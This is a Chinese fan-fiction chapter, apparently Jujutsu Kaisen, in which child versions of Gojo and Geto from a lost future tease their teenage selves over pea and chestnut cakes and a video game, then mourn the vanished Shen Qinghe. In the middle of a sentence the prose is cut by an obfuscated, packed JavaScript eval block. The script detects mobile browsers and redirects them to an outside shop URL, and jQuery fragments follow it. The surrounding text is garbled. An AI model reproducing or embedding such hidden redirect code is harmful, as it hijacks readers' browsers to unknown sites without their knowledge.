“因为妈妈是妈妈,爸爸是爸爸,父亲是父亲啊!”幼年五夏抬眸看着两个人近乎理所当然地开口。 “老子才十六岁!”五条悟抓了抓头发,语气里掺进了一丝抓狂,“怎么可能有你这么大的儿子。” “可我们长得一模一样啊!”幼年悟立刻挺直小身板,鼻梁上的小圆墨镜因为动作滑下来一点,露出低下那双如出一辙的苍蓝之瞳。 “你看看,我们的发色瞳色、口味偏好都一模一样,我就是你儿子!” 五条悟被着毫无逻辑的宣言气笑了,伸手不轻不重地弹了一下幼年五的额头,“老子的儿子?你要真的是老子的儿子,怎么会和老子同名同姓,术式也一模一样?” “因为我是小老子。”幼年悟捂住额头,眼神却更加笃定,甚至还带上了一点委屈的控诉,“爸爸,你难道又想要抛弃我们和妈妈了吗?” 幼年悟也不给五条悟开口说话的机会,眸中瞬间蓄满水汽,“妈妈她很可怜的,穿越而来,什么都没有,还是个黑户,你舍得她一个人那么辛苦的带着两个孩子在这个异世界流浪吗?” “哈?”五条悟彻底被这番连环歪理噎住,一口气堵在胸口,简直不知该气还是该笑。 “爸爸,我们离他们远一点。”幼年杰看着幼稚的两个人抬眸看了一眼坐在对面的夏油杰。 夏油杰牵住幼年杰伸过来的手,很识趣的坐到了另外一边的桌子上,摆出了衣服安静旁观的样子。 “喂,杰,你也太过分了!”五条悟和幼年悟的声音几乎是同时响起。 “悟,我现在只想要假装不认识你。”夏油杰和幼年杰的声音几乎是同时响起,连话语里的那份无奈都如出一辙。 夏油杰闻言,微微挑眉,看向对面那个缩小版的自己,露出一个探究的神色。 “对了,妈妈还留了豌豆黄和栗子糕在冰箱里,爸爸快去拿,我也要吃!”幼年悟想起来将目光落在五条悟身上。 夏油杰听着幼年悟的话直接起身向冰箱的方向走去,冰箱里放置着已经处理好的草莓、等制作草莓巴菲的材料,还有放在一边的栗子糕和豌豆黄。 夏油杰拿着豌豆黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041408|194699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和栗子糕走到餐桌旁边,把两盒一共四十枚的栗子糕和豌豆黄放到餐桌中央。 “这个东西看着就不好吃,怎么可能会比毛豆生奶油喜久福还要好吃。”五条悟没有多想就拿起一块豌豆黄放进口中,却发现真的是甜而不腻,口中都是豌豆的香气。 “好吃吧。”幼年悟说着也拿起一块豌豆黄吃了起来,“妈妈的手艺天下第一!” “马马虎虎。”五条悟嘴上说着马马虎虎,可下手的动作却比谁都快,甚至把嘴里塞得满满当当,差点没呛着。 “悟,你吃的太多了!”夏油杰说着就把手边的茶递到五条悟手中,语气带着惯有的纵容。 五条悟说着就走到冰箱里拿了一盒牛奶,“走了,杰,老子要回去打游戏了。” “我也要去爸爸宿舍打游戏。”幼年悟立刻跟上,小手拽住五条悟的衣角,仰着脸,一副理所当然地模样。 “老子的游戏你又不会玩。”五条悟垂眸看着他。 “那我们来比比。” “比就比,可不要像上次游戏厅那样,输给老子就找清清妈妈告状。”五条悟说着就冷哼一声。 幼年悟眨眨眼,小圆墨镜后蓝眼睛带着一丝狡黠,他拖长了语调,慢悠悠地开口,“爸爸,你该不会是在嫉妒我吧。” “哈,老子嫉妒你什么?”五条悟像是被踩了尾巴的猫,声音陡然拔高。 “爸爸嫉妒我妈妈可以抱我,可以亲我,我是一个六岁的孩子,我输给爸爸找妈妈告状怎么了!”幼年悟双手叉腰,看着五条悟理直气壮地开口。 五条悟气得又轻轻弹了一下我幼年悟的脑门,“老子才不会嫉妒!” 两人一路拌嘴回到五条悟的宿舍,五条悟从凌乱的桌面扒拉出另一个游戏手柄,塞进幼年五的怀中,嘴角勾起惯有的、带着点挑衅的弧度,“游戏厅都能输给老子,在这儿还能翻身不成?” 打脸来的如此之快,五条悟竟然真的输给了幼年悟。 幼年悟之所以玩的如此流畅,那是因为在那个世界里,他为了让清清陪她玩游戏,然后就一遍一遍不厌其烦的带着她一起玩,那是他第一次觉得只要能够和她一起玩游戏,哪怕不是第一都可以。 “你是不是玩过这个游戏。”五条悟说着就把游戏手柄扔到一边。 “爸爸,输了就输了,为什么还死不承认。”幼年悟看着五条悟眨眨眼,“虽然爸爸不让我去找妈妈,但爸爸可以去找妈妈诉苦,妈妈会说不定还会给你一个安慰的抱抱呢。” 五条悟听这句话,几乎炸毛开口,“臭小鬼!在说什么,老子才没有!” 幼年悟看着面前年轻的“自己”无奈的摇摇头。 他记得。 在属于他们的“未来”里,大约也是在这个世界,“自己”开始隐约察觉到,对清清的感情不一样。不再是单纯的依赖或者感激,而是掺杂了更多晦涩难懂、炽热躁动的东西。 只可惜,清清那个时候只想着拯救我们,从来没有注意到我和杰的变化。 而他们最大的遗憾就是在沈清荷消失之前,也没有从他们两个人之间选择一个。 幼年五夏沉默了片刻。 那些被尘封的、带着阳光温度的画面,毫无预兆的撞进脑海。 【沈清荷玩着家入硝子的手臂,眼睛完成月牙:“硝子是最棒的啦~我还要和硝子当一辈子的闺蜜,跟着她一起吐槽你们两人渣。” 家入硝子口中叼着棒棒糖,“对,我要和清一直吐槽你们两个人。” 被点名的两人同时回头。 五条悟:哈? 夏油杰:? 两个女生对视一眼,异口同声,“硝子(清),你以后找男人,可绝对不能找这种款式的哦!”】 记忆里的笑声清亮鲜活,带着无忧无虑的、属于“日常”的璀璨。 那可光芒……终究成了再也无法抵达的彼岸。 熄灭之后,留下来的事漫长到没有尽头的又带着他们悔恨的黑暗。 所以啊。 幼年五夏抬起头,目光掠过眼前尚且鲜活、尚且拥有着“可能性”的两位少年。 请你们,一定要好好珍惜现在的时光。 连同我们的那份,再也无法拥有的“未来”一起。